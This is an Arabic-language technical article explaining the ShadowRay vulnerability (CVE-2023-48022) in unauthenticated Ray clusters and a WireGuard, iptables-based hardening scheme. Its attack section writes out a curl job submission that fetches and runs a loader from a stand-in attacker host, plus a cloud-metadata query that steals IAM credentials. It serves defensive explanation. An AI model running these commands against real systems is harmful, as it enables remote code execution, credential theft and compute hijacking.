أدى التوسع الهائل في نماذج الذكاء الاصطناعي التوليدية وتقنيات التعلم العميق الموزع إلى تحويل المجموعات الحاسوبية المزودة بوحدات المعالجة الرسومية (GPU) إلى أكثر الأصول الرقمية قيمة وتكلفة لدى المؤسسات التقنية. ولتنسيق عمليات التدريب الأولي، والتعلم المعزز بناءً على التغذية الراجعة البشرية (RLHF)، وتوفير خدمات الاستدلال الفائق عبر مئات الخوادم المترابطة، تعتمد الفرق الهندسية على منصات متخصصة لإدارة الحوسبة الموزعة.

ومن بين هذه المنصات، برز إطار العمل المفتوح Ray المطور من قبل Anyscale كمعيار قياسي عالمي في بيئات أبحاث الذكاء الاصطناعي. ومع ذلك، صُممت المعمارية الأولية لـ Ray بهدف توفير أعلى معدلات نقل للبيانات وأقل زمن استجابة ممكن بافتراض العمل داخل شبكة محلية موثوقة. وأدى غياب آليات التحقق من الهوية الثنائية الافتراضية في خدمات الإدارة إلى ظهور ثغرة أمنية بالغة الخطورة مصنفة تحت الرمز CVE-2023-48022 وعُرفت باسم حملة ShadowRay.

+-------------------------------------------------------------------------------+
|                       سلسلة هجوم استغلال مجموعات GPU عبر SHADOWRAY            |
+-------------------------------------------------------------------------------+
| 1. مسح المنافذ المفتوحة غير المحمية                                           |
|    └─ اكتشاف منفذ لوحة تحكم Ray Dashboard (TCP 8265) على الإنترنت أو الشبكة   |
| 2. حقن المهام البرمجية عن بعد عبر واجهة REST API                              |
|    └─ إرسال طلب غير موثق إلى نقطة النهاية: POST /api/jobs/                    |
| 3. توزيع المهام البرمجية عبر عمليات Raylet الخادمة                            |
|    └─ العقدة الرئيسية (Head node) توزع الأوامر لعقد المعالجة (TCP 10001)      |
| 4. تنفيذ الشيفرات البرمجية عن بعد (RCE) على خوادم GPU                         |
|    └─ تشغيل أوامر النظام بصلاحيات العملية المشغلة (غالباً root داخل الحاويات) |
| 5. استغلال النفوذ والتمدد داخل البنية التحتية                                 |
|    ├─ الاستيلاء على بطاقات NVIDIA H100/A100 لتعدين العملات الرقمية (T1496)    |
|    ├─ استجواب خدمة بيانات السحابة (169.254.169.254) لسرقة مفاتيح IAM          |
|    └─ تسريب ملفات أوزان النماذج (.safetensors) وقواعد البيانات الخاصة         |
+-------------------------------------------------------------------------------+

يتطلب تأمين البنية التحتية للذكاء الاصطناعي التخلي عن افتراض الثقة التلقائية على مستوى التطبيقات وبناء سياج شبكي مشفر للطبقة الثالثة.


المعمارية التقنية لـ Ray والأسباب الجذرية لثغرة CVE-2023-48022

يعتمد إطار Ray على نموذج الخادم الرئيسي والخوادم المساعدة (Head Node — Worker Nodes). ولفهم الثغرات الكامنة في نطاق الاتصال، يجب فحص طبيعة المنافذ والبروتوكولات الداخلية.

1. طوبولوجيا Ray ومنافذ الخدمات الحيوية

تتضمن البيئة التشغيلية لـ Ray عدداً من المكونات الأساسية:

  • لوحة التحكم وواجهة المهام Ray Dashboard & Jobs API (المنفذ 8265): توفر مراقبة رسومية للموارد وسجلات النظام، بالإضافة إلى واجهة HTTP REST لبرمجة وتشغيل مهام Python (/api/jobs/).
  • مستودع التحكم العام GCS (المنفذ 6379): يدير البيانات الوصفية وحالات توزيع المهام وتسلسل الكائنات عبر قاعدة بيانات مدمجة.
  • خادم العميل Ray Client (المنفذ 10001): يتيح للعملاء الاتصال المباشر والتفاعلي بالمجموعة الحاسوبية.
  • Raylet ومستودع الذاكرة المشتركة Plasma (المنافذ 10002–19999): تدير استدعاءات الإجراءات البعيدة (RPC) وتزامن الذاكرة ونقل مصفوفات بيانات التنسور بين بطاقات GPU.
طوبولوجيا شبكة إطار Ray:
[ الشبكة الخارجية / نطاق شبكي غير آمن ]
                │
                ▼ (منافذ بدون مصادقة: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ العقدة الرئيسية المتحكمة (Ray Head Node)               │
│  ├── لوحة التحكم وواجهة REST API (المنفذ 8265)        │
│  ├── مستودع التحكم العام GCS (المنفذ 6379)             │
│  └── خادم عميل Ray Client (المنفذ 10001)               │
└───────────────────────┬────────────────────────────────┘
                        │ اتصالات gRPC / RPC الداخلية
        ┌───────────────┴───────────────┐
        ▼                               ▼
┌──────────────────────┐        ┌──────────────────────┐
│ عقدة المعالجة GPU 1   │        │ عقدة المعالجة GPU 2   │
│  ├── عملية Raylet     │        │  ├── عملية Raylet     │
│  └── 8x NVIDIA H100  │        │  └── 8x NVIDIA H100  │
└──────────────────────┘        └──────────────────────┘

2. الآلية التقنية لهجمات ShadowRay (CVE-2023-48022)

افترض مهندسو Ray في البداية أن جدران الحماية الخارجية للمؤسسة ستتولى حماية الشبكة، ولم يزودوا مكونات الإطار بمصادقة داخلية. وعند تشغيل Ray في بيئات Kubernetes (عبر KubeRay) أو على أجهزة خادمة سحابية، يتم ربط الخدمات دون قصد بالعنوان 0.0.0.0 أو إتاحتها عبر بوابات Ingress دون تفعيل طبقات المصادقة.

وعند اكتشاف المنفذ TCP 8265 مفتوحاً، يمكن للمهاجم إرسال أمر تنفيذي كامل عبر طلب HTTP مباشر:

# إرسال مهمة خبيثة غير مصرح بها إلى العقدة الرئيسية في Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
  -H "Content-Type: application/json" \
  -d '{
    "entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
    "runtime_env": {
      "env_vars": {"CLUSTER_TARGET": "ai-training"}
    }
  }'

تستقبل العقدة الرئيسية الطلب وتسجله في مستودع GCS، ثم تقوم بجدولته وتوزيعه عبر Raylet إلى عقد المعالجة. ويتم تشغيل الأوامر مباشرة على الخوادم المزودة ببطاقات GPU بصلاحيات العملية المشغلة (والتي غالباً ما تكون بصلاحيات root داخل الحاويات).

3. التحرك العرضي واختطاف بيانات السحابة (IMDS)

عقب اختراق الحاوية، تقوم البرمجيات الخبيثة بالاستعلام التلقائي عن خدمة البيانات الوصفية للحوسبة السحابية (IMDSv1):

# الاستعلام عن خدمة بيانات السحابة لسرقة رموز صلاحيات IAM المؤقتة
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

باستخدام مفاتيح IAM المسروقة، يتمدد المهاجمون إلى خدمات التخزين السحابية (مثل Amazon S3) لسرقة ملفات أوزان النماذج الذكية أو إنشاء خوادم GPU إضافية مكلفة لاستغلالها في التعدين غير القانوني.


مسارات المخاطر الشبكية وتسريب البيانات

إن الاعتماد على وضع خادم وكيل بسيط (مثل Nginx بمصادقة اسم المستخدم وكلمة المرور) أمام المنفذ 8265 يوفر حماية لمدخل واحد فقط. وتظل قنوات الاتصال الداخلية بين العقد (المنافذ 6379 و10001 والمنافذ الديناميكية) تنقل البيانات دون تشفير وبلا تدقيق للهوية عبر الشبكة المحلية.

وفي شبكات مراكز البيانات المسطحة، يتيح اختراق أي خادم تجارب مجاور إمكانية التنصت على اتصالات RPC الخاصة بـ Ray، والتلاعب ببيانات التدريب، واعتراض مصفوفات النماذج الحساسة.

مخاطر شبكة مجموعات الحوسبة:
[ جهاز مخترق في الشبكة المحلية / مهاجم خارجي ]
        │
        ├── (1) استهداف المنفذ 8265 -> تنفيذ أوامر غير مصرح بها عبر واجهة Jobs
        │
        ├── (2) سرقة بيانات السحابة -> استجواب 169.254.169.254 لاختطاف مفاتيح IAM
        │
        ├── (3) التنصت على الشبكة -> اعتراض بيانات التنسور المنقولة بلا تشفير
        │
        └── (4) اتصال عكسي C2 -> فتح مسار TCP صادر إلى خادم المهاجم

لدرء هذا الخطر بشكل قاطع، يجب فصل المجموعة بالكامل عن مسارات التوجيه العامة ودمجها داخل شبكة شبكية مشفرة من الطبقة الثالثة.


بنية الدفاع القائم على انعدام الثقة: شبكة WireGuard والتقسيم الدقيق

يتطلب التصدي الشامل لتهديدات ShadowRay بناء منظومة أمنية متكاملة تجمع بين شبكات WireGuard المشفرة وعزل المنافذ والتحكم الدقيق في البيانات الصادرة.

+-------------------------------------------------------------------------------+
|                      بنية الأمان المتقدمة لمجموعات GPU الحوسبية               |
+-------------------------------------------------------------------------------+
| الطبقة 1: شبكة WireGuard المشفرة للطبقة الثالثة (10.66.0.0/24)                 |
| ├─ حصر اتصالات العقد الرئيسية وعقد المعالجة داخل النطاق الافتراضي الخاص       |
| ├─ تشفير اتصالات gRPC والذاكرة بالكامل باستخدام خوارزمية ChaCha20-Poly1305    |
| └─ منع الاستماع تماماً على واجهات الشبكة الفيزيائية أو العناوين العامة         |
+-------------------------------------------------------------------------------+
| الطبقة 2: العزل الشبكي الدقيق وحماية بيانات السحابة                           |
| ├─ حظر كافة الاتصالات الموجهة للعنوان 169.254.169.254 من حاويات العمل         |
| ├─ منع خوادم المعالجة من إنشاء اتصالات عشوائية نحو عناوين خارجية غير مصرح بها |
| └─ استخدام Anycast DNS الوقائي لقطع الاتصال بالنطاقات الخبيثة ومراكز C2       |
+-------------------------------------------------------------------------------+
| الطبقة 3: إدارة المنظومة حصرياً عبر قنوات VPN مشفرة                           |
| ├─ ربط لوحة التحكم Ray Dashboard حصرياً بعنوان النفق الداخلي (10.66.0.1)      |
| ├─ قصر وصول المهندسين عبر اتصالات عميل WireGuard / RiceGuard المعتمدة         |
| └─ تفعيل سجلات التدقيق الأمني لجميع طلبات تشغيل المهام الحاسوبية              |
+-------------------------------------------------------------------------------+

1. إنشاء شبكة WireGuard المشفرة لخوادم GPU

بدلاً من تشغيل مكونات Ray على كافة العناوين (0.0.0.0)، يتم تخصيص عنوان افتراضي ثابت لكل خادم ضمن نطاق شبكي خاص (مثل 10.66.0.0/24).

إعدادات العقدة الرئيسية لـ Ray (Head Node) عبر WireGuard:

# /etc/wireguard/wg-ai.conf (العقدة الرئيسية لـ Ray)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <مفتاح_العقدة_الرئيسية_الخاص>
ListenPort = 51820

# السماح بالاتصالات الواردة فقط عبر واجهة النفق الافتراضي
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT

# خادم المعالجة 1
[Peer]
PublicKey = <مفتاح_خادم_المعالجة_1_العام>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25

# خادم المعالجة 2
[Peer]
PublicKey = <مفتاح_خادم_المعالجة_2_العام>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25

ويتم بدء تشغيل خدمات Ray مع تقييدها الصارم بالواجهة الافتراضية:

# تشغيل العقدة الرئيسية مع ربطها حصرياً بعنوان WireGuard الشبكي
ray start --head \
  --node-ip-address=10.66.0.1 \
  --dashboard-host=10.66.0.1 \
  --port=6379 \
  --dashboard-port=8265 \
  --disable-usage-stats

وترتبط كافة خوادم المعالجة بالعقدة الرئيسية عبر العناوين المؤمنة (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). وتتم حماية كافة حزم البيانات المشتركة بين وحدات GPU بواسطة خوارزمية ChaCha20-Poly1305 دون التأثير على سرعة الأداء.

2. العزل الشبكي الدقيق وحظر الوصول لبيانات السحابة

في حال تمكن مهاجم من تشغيل شيفرات داخل إحدى الحاويات، تعمل إعدادات جدار الحماية في الخادم على منع إنشاء قنوات الاتصال العكسية وسرقة بيانات الدخول السحابية.

سكريبت تفعيل قواعد جدار الحماية لخوادم GPU:

#!/usr/bin/env bash
# إعدادات جدار الحماية للتحكم في البيانات الصادرة وحماية بيانات السحابة
set -euo pipefail

WG_IF="wg-ai"
METADATA_IP="169.254.169.254"

# حظر إعادة توجيه الحزم كسياسة افتراضية
iptables -P FORWARD DROP

# تفريغ القواعد السابقة
iptables -F
iptables -X

# السماح بالاتصالات القائمة والمثبتة مسبقاً
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# حظر الوصول إلى خدمة بيانات السحابة تماماً
iptables -A OUTPUT -d "$METADATA_IP" -j DROP

# السماح بالاتصالات المتبادلة فقط عبر واجهة WireGuard الداخلية
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT

# حظر الاتصالات الصادرة العادية عبر بطاقة الشبكة الفيزيائية
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP

# توجيه استعلامات DNS حصرياً عبر ملقم Anycast في النفق
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset

echo "تم تطبيق قواعد العزل الشبكي لخوادم GPU بنجاح."

الفحص والتدقيق الأمني لجاهزية المجموعة

للتأكد من مناعة خوادم Ray ضد محاولات المسح غير المصرح بها، يمكن للمسؤولين تشغيل فحص أمني من جهاز خارج نطاق نفق WireGuard:

#!/usr/bin/env bash
# سكريبت الفحص الأمني لمنافذ مجموعة Ray
TARGET_IP="192.168.10.10" # العنوان الفيزيائي للعقدة الرئيسية على الشبكة المحلية

echo "[*] الخطوة 1: فحص منفذ لوحة التحكم 8265 على الواجهة الفيزيائية..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
    echo "[!] تحذير أمني: المنفذ 8265 متاح خارجياً! المجموعة معرضة للاختراق."
else
    echo "[+] آمن: المنفذ 8265 مغلق أو محجوب بواسطة جدار الحماية."
fi

echo "[*] الخطوة 2: فحص منفذ خادم العميل 10001..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
    echo "[!] تحذير أمني: المنفذ 10001 مفتوح! خطر تنفيذ الشيفرات عن بعد."
else
    echo "[+] آمن: المنفذ 10001 محمي بنجاح."
fi

إن تأكيد إغلاق المنافذ على البطاقات الفيزيائية يضمن أن تشغيل المهام وإدارتها محصوران بالمهندسين المعتمدين المتصلين عبر شبكة VPN المشفرة.


الخاتمة

أكدت التهديدات المرتبطة بحملة ShadowRay أن منصات الذكاء الاصطناعي لا يمكن أن تعتمد على الثقة المسبقة بالشبكات المحلية. ففي منظومات تضم عتاد GPU بملايين الدولارات وتدير الأصول الفكرية للمؤسسات، لا يكفي تأمين واجهات الويب الخارجية وحدها.

ومن خلال اعتماد شبكة WireGuard مشفرة للطبقة الثالثة، وإلزام خدمات Ray بالعمل على واجهات افتراضية معزولة، وتطبيق العزل الدقيق للبيانات الصادرة، تبني المؤسسات جدار حماية متين ومتعدد الطبقات. وبذلك تظل بيئات التدريب ومعالجة الذكاء الاصطناعي في مأمن من محاولات التسلل، والاستيلاء على قدرات الحوسبة، وسرقة النماذج الحصرية.